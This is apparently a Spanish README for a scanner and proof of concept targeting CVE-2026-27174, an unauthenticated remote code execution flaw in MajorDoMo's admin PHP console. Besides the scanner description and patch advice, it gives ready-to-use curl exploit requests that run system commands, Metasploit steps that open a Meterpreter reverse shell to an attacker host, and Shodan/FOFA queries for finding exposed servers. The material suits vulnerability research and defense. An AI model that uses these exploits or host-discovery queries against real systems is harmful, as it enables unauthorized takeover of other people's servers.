
CVE-2026-27174 - Una ejecución remota de código no autenticada a través de la función de consola PHP del panel de administración
Una prueba de concepto que explota una ejecución remota de código no autenticada a través de la consola PHP del panel de administración en MajorDomo (Major Domestic Module).
El panel de administración de MajorDoMo expone una consola de evaluación PHP a través de /admin.php. Debido a una falta de exit después de una redirección de autenticación en panel.class.php, el manejador AJAX inc_panel_ajax.php se incluye incondicionalmente, haciendo que su eval() sea accesible por cualquier solicitud HTTP no autenticada.
Un atacante puede ejecutar código PHP arbitrario con una única solicitud GET, sin requerir credenciales, acceso previo ni interacción de la víctima.
scan.py es un escáner multihilo no destructivo que detecta hosts vulnerables a CVE-2026-27174 sin ejecutar ningún payload dañino.
El escáner opera en tres fases secuenciales por objetivo:
Phase 1 — RCE Confirmation
└─ Sends: echo 'random_marker';
└─ Checks: marker is reflected in the response body
└─ Confirms: eval() is reachable without authentication
Phase 2 — PHP Sandbox Profiling
└─ Sends: echo 'marker:' . ini_get('disable_functions');
└─ Extracts: list of disabled PHP functions on the server
Phase 3 — OS Execution Surface
└─ Probes: system, exec, shell_exec, passthru via function_exists()
└─ Classifies: impact level as HIGH or MEDIUM
Se genera un marcador alfanumérico aleatorio por solicitud para evitar falsos positivos debidos a cachés, WAFs o contaminación de la respuesta.
pip install requests
Crea un archivo targets.txt con una IP:PORT por línea:
192.168.1.10:8080
10.0.0.5:80
10.0.0.12:443
# lines starting with # are ignored
# only IP:PORT format is accepted
python3 scan.py targets.txt
[+] RCE PHP CONFIRMED -> http://192.168.1.10:8080/admin.php
[-] Not vulnerable -> 10.0.0.5:80
[+] Vulnerable targets exported to results.json
results.jsonSe genera automáticamente cuando se encuentra al menos un host vulnerable:
[
{
"target": "192.168.1.10:8080",
"url": "http://192.168.1.10:8080/admin.php",
"rce_php": true,
"disable_functions": "popen,pclose,proc_open",
"system_functions_available": ["system", "exec"],
"impact_level": "HIGH"
}
]
Basándonos en el resultado del campo system_functions_available del archivo result.json, podemos construir una solicitud GET usando la(s) función(es) de sistema para explotar el RCE:
curl http://192.168.1.10:8080/admin.php?ajax_panel=1&op=console&command=echo+exec('id');
#or
curl http://192.168.1.10:8080/admin.php?ajax_panel=1&op=console&command=echo+system('id');
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Módulo de Metasploit:
msfconsole
use exploit/multi/http/majordomo_console_eval_rce
set RHOSTS 192.168.1.10
set RPORT 8080
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 172.17.0.1
check #Verify it returns Vulnerable
run #Verify a Meterpreter session opens as www-data
FOFA:
title="MajorDomoSL"
SHODAN:
http.title:"MajorDomoSL"
Un atacante remoto no autenticado puede:
El impacto efectivo depende de la configuración PHP disable_functions del servidor:
CVSS 4.0 - 9.3 CRÍTICO — CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CVSS 3.1 - 9.8 CRÍTICO — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Actualice a la última versión de MajorDomo (Major Domestic Module).
| Control | Previene RCE | Previene Ejecución de SO |
|---|
https://chocapikk.com/posts/2026/majordomo-revisited
https://nvd.nist.gov/vuln/detail/CVE-2026-27174
https://github.com/sergejey/majordomo/pull/1177
Esta herramienta es solo para pruebas de seguridad autorizadas. El acceso no autorizado a sistemas informáticos es ilegal.
| Campo | Descripción |
|---|
target | IP:PORT escaneada |
url | URL completa donde se confirmó el RCE |
rce_php | Ejecución de código PHP confirmada (siempre true en los resultados) |
disable_functions | Configuración PHP disable_functions del servidor (null si está vacía) |
system_functions_available | Funciones de ejecución del sistema operativo invocables por un atacante |
impact_level | HIGH (ejecución de SO accesible) o MEDIUM (solo RCE PHP) |
| Escenario | Nivel de Impacto | Descripción |
|---|
Sin disable_functions | CRÍTICO | Ejecución completa de comandos del sistema operativo |
| Restricciones parciales | ALTO | RCE PHP + ejecución parcial de SO |
disable_functions bloquea toda ejecución | MEDIO | Solo RCE PHP (lectura/escritura de archivos, exfiltración de datos) |
| Aplicar el parche del 18 de febrero de 2026 | ✅ | ✅ |
Firewall/lista de permitidos de IP en /admin.php | ✅ | ✅ |
Endurecimiento de disable_functions | ❌ | ✅ |